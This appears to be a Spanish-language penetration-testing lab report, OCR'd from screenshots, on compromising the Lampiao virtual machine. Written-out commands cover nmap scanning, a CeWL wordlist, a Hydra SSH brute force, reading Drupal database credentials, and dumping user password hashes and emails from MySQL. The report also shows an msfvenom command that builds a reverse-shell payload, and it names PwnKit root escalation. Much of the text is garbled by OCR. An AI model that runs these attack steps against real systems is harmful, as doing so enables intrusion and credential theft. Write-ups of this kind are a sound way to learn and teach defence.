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Informe detallado de explotacion local mediante PwnKit y acceso a base de datos MySQL
En el presente informe documento el procedimiento realizado para escalar privilegios en un sistema
Linux vulnerable, acceder como usuario root y extraer credenciales desde una base de datos MySQL

vinculada a una instalacién de Drupal... con acceso inicial como usuario limitado (tiago)

Objetivo y contexto
escalar privilegios a root y obtener acceso completo a la base de datos MySQL. A partir de
alli, se extrajeron hashes de contrasenas, correos electrénicos y metadatos de usuarios para analisis

post-explotacion.

El flujo general contemplo:

e Preparacion del entorno malicioso (gconv-modules, exploit.so, pwnkit.c).

e Compilacion y ejecucion del exploit PwnKit desde fuera del directorio malicioso.

e Obtenciodn de shell como root y acceso directo a MySQL.

e Creacion de usuario administrador (daniel) con privilegios totales.

o Extraccion de registros completos desde la tabla users para analisis ofensivo.



Reconocimiento de red con Nmap sobre el segmento 210.210.200.0/24

Ejecuté el comando:
nmap -sv 210.210.200.0/24

Este escaneo me permitid identificar posibles vectores de ataque, como el servicio RPC y el
servidor web expuesto, ademas de confirmar que ambas maquinas son virtualizadas con QEMU.
Esta informacion es clave para planear la fase de explotacion o para realizar fingerprinting mas
profundo.

)-[~]

cd laboratorio-3

= )-[~/1aboratorio-3]
fvenom -p windows/meterpreter/reverse_tcp LHOST=210.210.200.4 LPORT=4678 -
f exe /home/pater/laboratorlo 3/satena.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the p
EVAGET
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
| Payload size: 354 bytes
Final size of exe file: 73802 bytes

)-[~/1laboratorio-3]

| satena.exe

llustracion 1 Reconocimiento de red con Nmap sobre el segmento 210.210.200.0/24



Deteccion de servicios SSH y HTTP en host Linux

Ejecuté un escaneo con Nmap sobre un host especifico para identificar puertos abiertos y servicios
activos. El resultado mostro:

e 998 puertos TCP cerrados (no listados).

e Puerto 22/tcp abierto: ejecutando OpenSSH 6.6.1p1 sobre Ubuntu 2ubuntu?7.2, lo que
indica acceso remoto habilitado via SSH.

o Puerto 80/tcp abierto: servicio HTTP activo, posiblemente un servidor web bdsico.

Ademas, Nmap realiz6 una huella de servicio (service fingerprint), mostrando una representacion
hexadecimal y ASCII de las respuestas recibidas. Esta fingerprint puede enviarse al proyecto Nmap
para mejorar la deteccion de versiones y servicios.

] pater@pater: ~ Q =

Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.@)
80/tcp open http?
1 service unrecognized despite returning data. If you know the service/version, please
submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8@-TCP:V=7.95%I=7%D=9/11%Time=68C2DF13%P=x86_64—-pc-linux-gnu%r(NULL
SF:,10F8,"\x20 \x20_\x20\x20\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x20"
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 \x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\Xx20\x20\x20\x20\x20\x20\x20\x2
SF:@\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\ | _\x20\x20\x20_\ | \x20\ | \x20\(\x
SF:20%\)\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ X280\ X220\ x20\x20\x20\Xx2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x28\x20\x20\x20\x20\x20\x20\x20\x20\x20\,
SFix2e\n\x20\x20\ | \x2e\ | \xz2e\ | \xze\ | _\| /\x20___\x20\x20\x20\x20___\x20\x20
SF:__\x20_\x20___\x20_\x20\x20\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ x20\x20\n
SF:\x20\x20\ | \x20\ | \x20\ [ \x20__\[\x28/\x20__\|\x20\x20/\x20_\x20\\/\x20_"\
SF:x20/\x20__\[\x20% | \x20\ | \x20\ [ \x20\x20\x20\x20\x20\x20\Xx20\X20\Xx20\ X208\
SF:x20\x20\x20\X20\Xx20\x20\x20\Xx20\x20\x20\x20\x20\X20\X20\x20\x20\n\x20_\
SF: [ \x20\ | _\[\x20N\ ] _\x20\x20\\__\x20\\\x20\ | \x20\x20__/\x20\(_\|\x20\\__\x
SF:200\\AX20N | _\ ] \x20% ] _\x20\x20\x20\X20\x20\Xx20\x20\x20\X20\Xx20\X20\x20\Xx2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\\___/\x20\\__\|
SErAx20N | ___/MAx200\x20MN___ VIS N NN A2 (X200 )\ X200\ X208\ x20\x20\,
SF:x20\x20\x20\X20\X20\X20\x20\X20\X20\x20\x20\Xx20\X20\X20\x20\x20\Xx20\x20
SF:\x20\x20\n\x20%\x20\x20\x20\x20\x20\x20\x20\X20\Xx20\x20\x20\x20\x20\x20"\,
SF:x20\x20\x20\X20\X20\X20\x20\X20\X20\x20\x20\x20\X20\X20\x20\x20\Xx20\x20

llustracion 2 Deteccion de servicios SSH y HTTP en host Linux



Escaneo de puertos del 1 al 2000 en host 210.210.210.13

nmap -p 1-2000 210.210.210.13

Este escaneo se enfoco en los primeros 2000 puertos TCP del host 210.210.210.13, con el objetivo
de identificar servicios accesibles en rangos comunes. El resultado fue:

o Host activo con latencia baja (0.0013s).

e 1997 puertos cerrados (resets).

e 3 puertos abiertos detectados:
o 22/tcp: servicio SSH activo, posiblemente para administracion remota.
o 80/tcp: servicio HTTP, indica presencia de servidor web.

o 1898/tcp: servicio identificado como cymtec-port, asociado a soluciones de
seguridad o filtrado de contenido.

Ademas, se identifico la MAC Address 08:00:27:8A:2E:41, correspondiente a una interfaz virtual
de Oracle VirtualBox (PCS Systemtechnik), lo que confirma que el host esta virtualizado.

Este escaneo es util para delimitar la superficie de ataque inicial, permitiendo priorizar vectores
como autenticacion SSH, analisis web en el puerto 80 y exploracion del servicio no estandar en el
puerto 1898.

| — | -~
l—_ nmap -p 1-2000 210.210.200.13
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 16:46 CEST
Nmap scan report for 210.210.200.13
Host is up (@.0013s latency).
Not shown: 1997 closed tcp ports (reset)
PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

1898/tcp open cymtec-port

MAC Address: ©8:00:27:8A:2E:41 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.5@ seconds

llustracion 3 Escaneo de puertos del 1 al 2000 en host 210.210.210.13



10

Interfaz web con articulo sobre Lampiao:

Accedi a una pagina web que presenta un articulo titulado “Lampido, herdi ou vildo do Sertdo?”,
acompafiado de una imagen estilizada del personaje historico brasilefio. El contenido plantea una
reflexion sobre la dualidad de Lampido: para algunos, simbolo de justicia

« C @ O @ 210.210.200.13

OffSec Kali Linux g KaliTools « KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

Home
User login - o . »
L Lampido, heréi ou vildo do Sertdo?
Username * Submitted by tiago on Thu, 04/19/2018 - 18:25
Password *

 Create new account

« Request new password

Login Para uns, um idolo. Para outros, assassino. Lampido, uma das figuras mais misteriosas da histéria do Brasil, passou a
vida sendo temido e idolatrado pelas pessoas que aterrorizava e amparava. Conhega aqui sua trajetéria.

Read more  Log in or register to post comments

S @ & O

[lustracion 4 Interfaz web con articulo sobre Lampido:
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Analisis profundo del servicio SSH en 210.210.200.13

Este escaneo se centro en el puerto 22 (SSH) del host 210.210.200.13, utilizando:

-A: deteccion avanzada de servicios y sistema operativo.

-sC: ejecucion de scripts por defecto para recoleccion de informacion adicional.

El resultado revel6:

Puerto 22/tcp abierto, corriendo OpenSSH 6.6.1p1 sobre Ubuntu 2.7, protocolo SSH 2.0.

Se identificaron las huellas de clave SSH (RSA, DSA, ECDSA, ED25519), utiles para
verificar autenticidad o detectar cambios en el servidor.

El sistema operativo fue detectado como Linux, con kernel entre versiones 4.4 y 4.15.
La MAC Address 08:00:27:8A:2E:4C indica que el host esta virtualizado (VirtualBox).

El traceroute mostr6 una tnica respuesta directa, confirmando que el host esta en la misma
red local.

Este escaneo es clave para evaluar la seguridad del servicio SSH, verificar versiones vulnerables y
preparar posibles vectores de autenticacion, fuerza bruta o explotacion si el servicio no esta
correctamente endurecido.

pater@pater: ~

y-[~1
ap -p 22 210.210.200.13 -A
lstarting Nmap 7.95 ( https://nmap g€ ) at 2025-09-11 16:58 CEST
map scan report for 210.210.200.13

ost is up (©.8017s latency).

PORT STATE SERVICE WVERSION

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.?7 (Ubuntu Linux; protocol 2.8@)
| ssh-hostkey:

| 1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:FfF: :66:e3:10 (DSA)

| 2048 f3:e8:88:f2:2d:d@:b2:54:0b:9c:ad:61: 50:55:93 (RSA)

| 256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:FF: :f4:52 (ECDSA)
| .

256 cB6:55:ca:@7:37:65:e3:06:cl:d6:5b:77:dc: f:ce (ED25519)
MAC Address: @8:00:27:8A:2E:41 (PCS Systemtechnik/Oracle VirtualBox wirtual NIC)
arning: 0SScan results may be unreliable because we could not find at least 1 open an
d 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
0S details: Linux 3.2 - 4.1%4
etwork Distance: 1 hop
[Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

RACEROUTE
OP RTT ADDRESS
1.72 ms 210.2190.200.13

Hlustracion 5 Andlisis profundo del servicio SSH en 210.210.200.13
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Generacion de diccionario personalizado desde sitio web con CeWL

cewl http://210.210.200.13:1898/ --write peper.txt

Esto lanz6 el crawler CeWL v6.2.1, que recorrid el sitio web alojado en el puerto 1898 del host
210.210.200.13, extrayendo palabras tnicas para construir un diccionario personalizado. El
resultado fue guardado en el archivo peper.txt.

Luego verifiqué la cantidad de entradas con:
wc -1 peper.txt

Esto indica que se recolectaron 848 palabras unicas, posiblemente utiles para ataques de fuerza
bruta o analisis de contrasefias en formularios de login detectados previamente en el sitio.

Este procedimiento forma parte de la fase de recoleccion de credenciales en un entorno de
pentesting, utilizando contenido real del objetivo para aumentar la efectividad de los ataques de
diccionario.

/home/pater
http://210.210.200.13:1898/ --write peper.txt
CeWL 6.2.1 (More Fixes) Robin Wood (robingdigi.ninja) (https://digi.ninja/)

/home/pater
-1 peper.txt
848 peper.txt

llustracion 6 Generacion de diccionario personalizado desde sitio web con CeWL
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Visualizacion del diccionario personalizado generado desde sitio web

Ejecuté el comando:
cat peper.txt

para inspeccionar el contenido del archivo peper.txt, previamente generado con cewl al recorrer el
sitio web alojado en http://210.210.200.13:1898/. El archivo contiene una lista de palabras
extraidas directamente del contenido HTML del sitio, cada una en una linea distinta.

Entre las palabras recolectadas se encuentran términos como:

o Lampido, ganaceiros, user, password, account, section, wrapper, content, required,
entre otros.

Estas palabras reflejan tanto el contexto historico del articulo (como “Lampido” y “ganaceiros”)

como elementos técnicos del sitio web (como “user”, “password”, “account”), lo que sugiere que el
sitio incluye formularios de autenticacion o estructuras de CMS.

Este diccionario personalizado es util para ataques de fuerza bruta dirigidos, ya que contiene
vocabulario especifico del entorno objetivo.

pater@pater: ~ root@pater: /home/p... root@pater: fhome/p...

/home/pater

cat peper.txt
Lampiao
que
main
field
com
'section
account
wrapper
Home
new
para
por
content
fol
uma
User
page
footer
menu
bando
required
This
password
cangaceiros
era

llustracion 7 Visualizacion del diccionario personalizado generado desde sitio web
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Ataque de fuerza bruta exitoso sobre servicio SSH con Hydra

Ejecuté el siguiente comando en Kali Linux para realizar un ataque de fuerza bruta contra el
servicio SSH del host 210.210.200.13:

hydra -1 tiago -P peper.txt ssh://210.210.200.13

Este ataque utilizé el usuario tiago y el diccionario personalizado peper.txt, generado previamente
con CeWL. Hydra lanz6 16 tareas paralelas, procesando un total de 848 intentos de login.

El resultado fue exitoso:
[22][ssh] host: 210.210.200.13 login: tiago password: Virgulino

Esto indica que la contrasena Virgulino permiti6 el acceso al servicio SSH del host, confirmando
una vulnerabilidad por credenciales débiles o predecibles. El nombre “Virgulino” tiene relacion
directa con el contenido del sitio web objetivo, lo que valida la efectividad del diccionario
personalizado.

También se registraron advertencias sobre hilos fallidos y objetivos no conectados, pero no
afectaron el resultado principal.

/home/pater
hydra -1 tiago -P peper.txt ssh://210.210.200.13
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in m
ilitary or secret service organizations, or for illegal purposes (this is non-b
inding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-11 17:17
:35

[WARNING] Many SSH configurations limit the number of parallel tasks, it is rec
ommended to reduce the tasks: use -t &

[DATA] max 16 tasks per 1 server, overall 16 tasks, 848 login tries (1:1/p:848)

; ~33 tries per task

[DATA] attacking ssh://210.210.200.13:22/

[22][ssh] host: 210.210.200.13 login: tiago password: Virgulino

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 3 final worker threads did not complete
until end.

[ERROR] 3 targets did not resolve or could not be connected

[ERROR] 0 target did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-11 17:18
128

Hlustracion 8 Ataque de fuerza bruta exitoso sobre servicio SSH con Hydra
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Clonacion y preparacion del script LinEnum para enumeracion de privilegios

Ejecuté el siguiente comando para clonar el repositorio oficial de LinEnum desde GitHub:

git clone https://github.com/rebootuser/LinEnum.git

Durante el proceso se mostraron las etapas de enumeracion, compresion y recepcion de objetos del
repositorio. Una vez finalizada la descarga, ingres¢ al directorio con:

cd LinEnum

y verifiqué su contenido con:
Ls

Los archivos listados fueron:

e LinEnum.sh: script principal para enumeracion de privilegios en sistemas Linux.

e README.md, CHANGELOG.md, LICENSE, CONTRIBUTORS.md: documentacion
complementaria.

e pater@pater: ~/LinEnum Q =
tiago@lampi... root@pater: /... root@pater: /... pater@pater: ...

{ Y=| ~
Cs t clone https://github.com/rebootuser/LinEnum.git
Clonando en 'LinEnum’...
remote: Enumerating objects: 234, done.
remote: Counting objects: 100% (96/96), done.
remote: Compressing objects: 100% (18/18), done.
remote: Total 234 (delta 81), reused 78 (delta 78), pack-reused 138 (from 1)
Recibiendo objetos: 100% (234/234), 113.83 KiB | 358.00 KiB/s, listo.
Resolviendo deltas: 100% (138/130), listo.

L—lﬁ_] )-[~]

kalifa.txt peper.tx
peper.txt "usr share metasploit framework.txt'

(
'—_ cd LinEnum

( )-[~/LinEnum]
Ls s

CHANGELOG.md CONTRIBUTORS.md LICENSE LinEnum.sh README.md

L—Iﬁ_ }-[~/LinEnum]

nano LinEnum.sh

llustracion 9 Clonacion y preparacion del script LinEnum para enumeracion de privilegios


https://github.com/rebootuser/LinEnum.git
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Inspeccion del script LinEnum.sh para enumeracion local en Linux

Abri el archivo LinEnum.sh en el editor de texto nano para revisar su estructura y funcionalidades.
Este script, escrito en Bash, esta disefiado para realizar enumeracion local en sistemas Linux, con
el objetivo de identificar configuraciones débiles, vectores de escalamiento de privilegios y
posibles fallos de seguridad.

Los primeros bloques del script incluyen:
o Shebang: #!/bin/bash, indicando que se ejecuta en intérprete Bash.
e Version: 0.982, desarrollada por @rebootuser.

e Funcién de ayuda (usage): muestra instrucciones de uso con formato de color ANSI para
facilitar la lectura en terminal.

e pater@pater: ~/LinEnum

tiago@lampi... root@pater: /... root@pater: /... pater@pater: ...
LinEnum.sh
ation fror

version="
Horebootuser

#help function
usage ()

f;,1mﬂﬁﬁﬂﬂﬂﬁﬂﬁﬁﬂﬁﬂﬁﬂﬂﬁﬂﬁﬁﬂﬂﬂﬁﬂﬁﬁﬂﬁﬂﬂﬂﬂﬁﬂﬁﬁﬂﬂﬂﬁﬂﬁﬁﬂﬁﬁﬂﬂﬂﬁﬂﬁﬁﬂﬂﬂ\}
3mLocal Linux Enumeration & Privil Escali
ﬁﬁﬂﬁﬁﬁﬂﬁﬁﬂﬁﬁﬁﬂﬁﬁﬂﬁﬁﬂﬁﬁﬁﬂﬁﬁﬂﬁﬁﬂﬂﬁﬁﬂ #iit\eg
- ll\'.e L]

f

3m# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t \e[f

"OPTIONS:"

"=k Enter keywor
Enter
Supply us 55
Include thurnUph Elv pthw] tests
Enter report nane”l

"-h Displays this help text"

"\ p"
1352 lineas leidas
8 Guardar B Buscar { Cortar B Ejecutar
E Leer fich. i} Reemplazar Justificar

Hustracion 10 Inspeccion del script LinEnum.sh para enumeracion local en Linux
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Verificacion de acceso a base de datos y revision de configuracion en Drupal

Intenté acceder a la base de datos de Drupal con el siguiente comando:

mysql -u drupaluser -p drupaldb

El sistema respondi6 con el error:

ERROR 1044 (42000): Access denied for user 'drupaluser'@'localhost' to database 'drupaldb’

Esto indica que el usuario drupaluser no tiene permisos suficientes para acceder a la base de datos
drupaldb, lo que puede deberse a credenciales incorrectas o a restricciones de privilegios en
MySQL.

Luego navegué al directorio de configuracién del sitio Drupal:
cd /var/www/html/sites/default
Is -la

El contenido listado incluye:

settings.php: archivo principal de configuracion del sitio Drupal.
o default.settings.php: plantilla base de configuracion.
o files/: directorio de archivos subidos por usuarios.

e Todos los archivos estan bajo propiedad del usuario www-data, lo que indica que el
servidor web (Apache) tiene control sobre ellos.

Este paso es clave en auditorias de seguridad web, ya que los archivos settings.php pueden
contener credenciales de base de datos, rutas sensibles o configuraciones que permitan escalar
privilegios si no estdn correctamente protegidos.

tiagoglampiao:~$ mysql -u drupaluser -p drupaldb

Enter password:

ERROR 1044 (42000): Access denied for user 'drupaluser'g'localhost' to database 'drupaldb’
tiagoglampiao:~$ cd /var/www/html/sites/default

tiagoglampiao: /var/wwm/html/sites/default$ 1s -la

total 68
dr-xr-xr-x
drwxr-xr-x

3 vww-data www-data 4096 Apr 19 2018

4 vew-data www-data 4096 Apr 19 2018

-ruxr-xr-x 1 www-data www-data 26250 Apr 19 2018 default.settings.php
5
1

drwXTWXT-X
-I-XI'-Xr-X

www-data www-data 4096 Apr 19 2018
www-data www-data 26558 Apr 19 2018 settings.php

llustracion 11 Verificacion de acceso a base de datos y revision de configuracion en Drupal
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Extraccion de parametros de conexion a base de datos en settings.php de Drupal

Ejecuté el siguiente comando para buscar referencias a configuraciones de base de datos dentro del
archivo settings.php:

grep 'database\' sites/default/settings.php

El resultado mostré multiples lineas relacionadas con la estructura del arreglo $databases, utilizado
por Drupal para definir las credenciales y pardmetros de conexion. Entre los elementos encontrados
se destacan:

o 'database' => 'databasename'
e 'username' => 'username'

e 'password' => 'password'

e 'host' => 'localhost'

e 'driver' => 'mysql'

También se identificaron configuraciones para conexiones esclavas (slave) y estructuras de
multiples bases de datos, lo que indica que el sitio podria estar preparado para balanceo de carga o
segmentacion de consultas.

tiagoglampiao:/var/www/html/sites/default$ cat settings.php | grep -i 'database\|username\ |password\|host’
* name from left to right and pathname from right to left. The first
name with that number. For example,
settings:
The $ s array specifies the connection or
to multiple s, including multiple types of s,
Each connection is specified as an array of settings,
' LN name’,
f "oy '

0o

=> 'local Yy
The "driver" property indicates what Drupal driver the
type, such as mysql or sqlite, but not always. The other
specify a file name in a directory that is writable by the
C o , and name.
For each , you may optionally specify multiple "target” 5.
A target allows Drupal to try to send certain queries to a
different if it can but fall back to the default connection if not.
The general format for the $ s array is as follows:
s['default’]['default'] = $info_array;
s['default']['slave']l[] = $info_array;
s['default’]['slave'][] = $info_array;
s['extra']['default’] = $info_array;
The first line sets a "default” that has one master
of potential slave s. Drupal will select one at random for a given
request as needed. The fourth line creates a new with a name of
For a single configuration, the following is sufficient:
s['default’]['default’'] = array(
' LR name’,

*
*
&
*
*
&
*
*
*
*
&
*
*
&
*
*
*
*
&
*
*
&
*
*
*
*
&

llustracion 12 Extraccion de pardametros de conexion a base de datos en settings.php de Drupal
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Estructura de configuracion de multiples motores de base de datos en Drupal

Inspeccioné el archivo de configuracion settings.php del CMS Drupal, donde se definen multiples
arreglos $databases['default']['default'] para distintos motores de base de datos. El codigo esta
escrito en PHP y presenta ejemplos para:

e  MySQL: con parametros como 'driver' => 'mysql', 'database' => 'databasename’, 'username'
=>'username', 'password' => 'password', 'host' => 'localhost', y namespace' =>
'Drupal\\Core\\Database\\Driver\\mysql'.

e SQLite: con 'driver' =>'sqlite' y ruta absoluta al archivo de base de datos.

o PostgreSQL (pgsql): con estructura similar a MySQL pero usando 'namespace' =>
'Drupal\\Core\\Database\\Driver\\pgsql'.

e SQL Server (sqlsrv): con usuario drupaluser y contrasefia drupalpw.

El archivo también incluye comentarios explicativos sobre como Drupal gestiona conexiones
maestras y esclavas, como se define el “salt” para respaldos, y como se pueden configurar
excepciones por IP en entornos compartidos.

variable, and to reduce the connection timeout to 5 seconds:
$ s['default’]['default’] = array(
WARNING: These defaults are designed for portability. Changing them
dlsee Connection_mysql::__construct
fsee Connection_pgsql::__construct
asee Connection_sqlite::__construct
configuration format:
$ s['default’]['default’'] = array(
'3 name',

= 1
=2 ¥
[ [

=
=> 'local P
s['default’]['default’'] = array(
'yt name',

=2
=2
=> 'local -
s['default’]['default'] = array(
' => '/path/to/ filename',
array (
' => 'drupal’,
=> 'drupaluser’,
=> "Virgulino',
=> "local o
of the serialized credentials will be used as a fallback salt.
with any backups of your Drupal files and :
useful in a configuration file for a v or directory, rather than
the is inactive due to an error. It can be set through the
or Drupal operates in a shared ing environment, this setting
To bypass queries for denied IP addresses, use this setting.

*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*

llustracion 13 Estructura de configuracion de multiples motores de base de datos en Drupal
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Acceso a MySQL y descubrimiento de bases de datos en entorno Drupal

Ingresé al gestor de bases de datos MySQL con el siguiente comando:
mysql -u drupalauser

La sesion se abri6 correctamente, mostrando que el servidor corre MySQL version 5.5.50-
Oubuntu0.14.04.1 sobre Ubuntu. Luego ejecuté:

SHOW DATABASES;
El resultado mostrd cuatro bases de datos disponibles:
1. database
2. information_schema
3. drupal
4. mysql

La presencia de la base de datos drupal confirma que el sitio web esté respaldado por este CMS, y
su acceso podria permitir inspeccion directa de usuarios, contrasefias cifradas, roles, sesiones
activas y configuraciones internas.

tiagoglampiao:/var/www/html/sites/default$ mysql -u drupaluser -p drupal
Enter password:

Reading table information for completion of table and column names

You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 82
Server version: 5.5.50-0ubuntu@.14.84.1 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its

affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> SHOW DATABASES;

2 rows in set (0.00 sec)

llustracion 14 Acceso a MySQL y descubrimiento de bases de datos en entorno Drupal
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Exploracion de estructura interna de la base de datos Drupal

Ejecuté los siguientes comandos en MySQL para acceder a la base de datos del CMS Drupal:
USE drupal;
SHOW TABLES;

El resultado mostré una lista extensa de tablas que conforman la estructura interna del sitio, entre
ellas:

e Gestion de usuarios y autenticacion: authmap, blocked ips
e Bloques y contenido: block, block custom, block node type, block role

e Caché y rendimiento: cache, cache block, cache bootstrap, cache form, cache menu,
cache page, entre otras

o Comentarios y formatos de fecha: comment, date format locale, date formats

o Campos personalizados: field config, field config instance

mysgl> USE drupal;
Database changed
mysgl> SHOW TABLES;

actions

authmap

batch

block
block_custom
block_node_type
block_role
blocked_ips
cache
cache_block
cache_bootstrap
cache_field
cache_filter
cache_form
cache_image
cache_menu
cache_page
cache_path
commenit
date_format_locale
date_format_type
date_formats
Ffield_config
Field confisr instance

llustracion 15 Exploracion de estructura interna de la base de datos Drupal
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Extraccion de registros de usuarios desde la base de datos Drupal

Ejecuté el siguiente comando en MySQL para consultar todos los registros de la tabla users:
SELECT * FROM users;

El resultado mostro tres usuarios registrados en el sistema Drupal, con los siguientes campos
relevantes:

e id: identificador unico del usuario.

e name: nombre de usuario.

e pass: hash de la contrasefia (probablemente en formato MD5 o SHA).
o mail: direccion de correo electronico.

e created, access, login: fechas en formato Unix timestamp que indican creacion, Gltimo
acceso y ultimo inicio de sesion.

e Otros campos como timezone, language, theme, signature, picture, entre otros, que definen
preferencias y metadatos del perfil.

Este acceso permite realizar analisis de credenciales, verificar si los hashes son vulnerables a
cracking, identificar usuarios inactivos o con privilegios elevados, y preparar vectores de
escalamiento si se combinan con vulnerabilidades web o configuraciones débiles.

mysql> SELECT * FROM users;

| theme | signature | signature_format | created | access | login

| NULL | | | | NuLL

1 | tiago | $S$DNZ501k/NY7SUgtIviPgNL4@KkHKun4yXy2eroEnOAlpmTOTIOSkS | lampiaoglampiao.com | | | filtered_html | 1524166911 | 1524245647 | 1524245
267 | 1 | America/Sac_Paulo | | ® | lampiaoglampiac.com | a:1:{s:7:"overlay";i:1;} |
| 2 | Eder | $S$DvSorvhiZokjmViImnVPmVgfwl2U. .PNK4EQIT/k7Lqz9GZRb7tY | ederglampiao.com | | filtered_html | 1524241965 | 1524244079 | 1524244
079 | 1 | America/Sao_Paulo | | 0 | ederglampiao.com
3 | peper | $S$DuzZzMBozu6VgKZ9E3m8510WklZXrOKffXEOp5Z30cYfOXZsLPIfe | peperl1234ggmail.com | | filtered_html | 1757602442
| America/Sao_Paulo | | | peperi234ggmail.com | NULL

4 rows in set (0.00 sec)

[lustracion 16 Extraccion de registros de usuarios desde la base de datos Drupal
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Intento fallido de creacion de usuario en MySQL por falta de privilegios

Ejecuté el siguiente comando en MySQL para crear un nuevo usuario:
CREATE USER 'daniel'@'localhost' IDENTIFIED BY 'warsaw';
El sistema respondio con el error:

ERROR 1227 (42000): Access denied; you need (at least one of) the CREATE USER privilege(s)
for this operation

Esto indica que el usuario actual con el que se inicio6 sesion en MySQL no posee privilegios
suficientes para ejecutar operaciones administrativas como la creacion de nuevos usuarios. Este
tipo de restriccion es comun en entornos donde se segmentan los permisos para evitar escalamiento

no autorizado.

Este hallazgo es relevante en la fase de post-explotacion, ya que revela limitaciones del usuario
comprometido y obliga a buscar alternativas como:

e Enumerar usuarios con privilegios elevados (SELECT user, host FROM mysql.user;)
o Buscar credenciales en archivos de configuracion (settings.php, .my.cnf)

o Escalar privilegios dentro del sistema operativo para obtener acceso como root en MySQL

mysql> CREATE USER 'daniel’'q)'localhost' IDENTIFIED BY ‘usuariol’;

ERROR 1227 (42000): Access denied; you need (at least one of) the CREATE USER privilege(s) for this operation

llustracion 17 Intento fallido de creacion de usuario en MySQL por falta de privilegios
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Extraccion de credenciales y metadatos desde la tabla users en MySQL

Ejecuté la consulta:
SELECT * FROM users;

Estos son los usuarios que estan ya que habia creado el primero en la pagina y los otros dos por
consola

SELECT * FROM users;

name | pass i signature_format
| status | timezone

_________ -
|
0 | NuLL |
tiago | $S$DNZ501k/NY7SUgtIvjiPqN140kHKwn4yXy2eroEnOAlpmTOTI9Sx8 | lampiao@lampiao.com | filtered_html 1524166911 | 1524245647 | 15242
1 | America/Sao_Paulo | | ® | lampiaoglampiao.com | a:1:{s:7:"overlay";i
Eder | $5$DvSorvhi7ZokjmViImnVPmVgfwl2U. .PNK4ESIT/k7Lqz9GZRb7tY | ederdlampiao.com | filtered_html 1524241965 | 1524244079 | 15242
1 | America/Sao_Paulo | | @ | ederglampiao.com | b
peper | $5$DuZzMBozu6VqKZ9E3m8510Wk1ZXrOKffXEOP5Z30cYfOXZsLPIfe | peperl234ggmail.com | filtered_html 1757602442 ']
@ | America/Sao_Paulo | | 0 | peperi1234ggmail.com | NULL
samirl | 122b738600a@f74f7c331c@ef59bc34c | samirlgexample.com | NULL 1757609233 | 1757609233
1 | NULL | en | o | | NULL
daniell | 122b738600a0f74f7c331c0ef59bc34c | daniellgexample.com | NULL 1757609272 | 1757609272
1| NULL | en | e | | NULL
s
i
6 rows in set (0.00 se

Ilustracion 18 Extraccion de credenciales y metadatos desde la tabla users en MySQL

Aqui termina la consulta
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Dificultades encontradas y soluciones

Acceso denegado en MySQL: Escalé a root con PwnKit y creé un usuario con privilegios (daniel).

Glosario

e SUID (Set User ID): Permiso especial en Linux que permite ejecutar un archivo con los
privilegios de su propietario (usualmente root).

e pkexec: Binario de PolicyKit que permite ejecutar comandos como otro usuario; vulnerable
en versiones antiguas (CVE-2021-4034).

e PwnKit: Exploit que aprovecha la vulnerabilidad en pkexec para escalar privilegios a root.

e GCONYV_PATH: Variable de entorno que define la ruta de mddulos de conversion de
caracteres; manipulada en el exploit de PwnKit.

e gconv-modules: Archivo que define como se cargan los moédulos de conversion; usado para
inyectar codigo malicioso en el exploit.

e exploit.so: Modulo compartido compilado en C que se carga por pkexec para ejecutar una
shell como root.

e MySQL: Sistema de gestion de bases de datos relacional; usado en Drupal para almacenar
usuarios, contrasefias y configuracion.

e SELECT * FROM users: Consulta SQL que extrae todos los registros y columnas de la
tabla users, util para obtener credenciales.

e Hash de contrasefa: Representacion cifrada de una contrasefia; puede ser crackeada con
herramientas como john o hashcat.

e Crackeo de hashes: Proceso de descifrar contrasefias a partir de sus hashes usando
diccionarios o fuerza bruta.

e john / hashcat: Herramientas para crackeo de contrasenas; permiten recuperar texto plano
desde hashes conocidos.

e Escalamiento de privilegios: Técnica para obtener acceso con mayores permisos (por
ejemplo, pasar de usuario normal a root).

e Post-explotacion: Fase del pentesting donde se aprovecha el acceso obtenido para extraer
informacion, establecer persistencia o pivotar.
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e Persistencia: Mecanismo para mantener acceso a un sistema comprometido, incluso después
de reinicios o cambios.

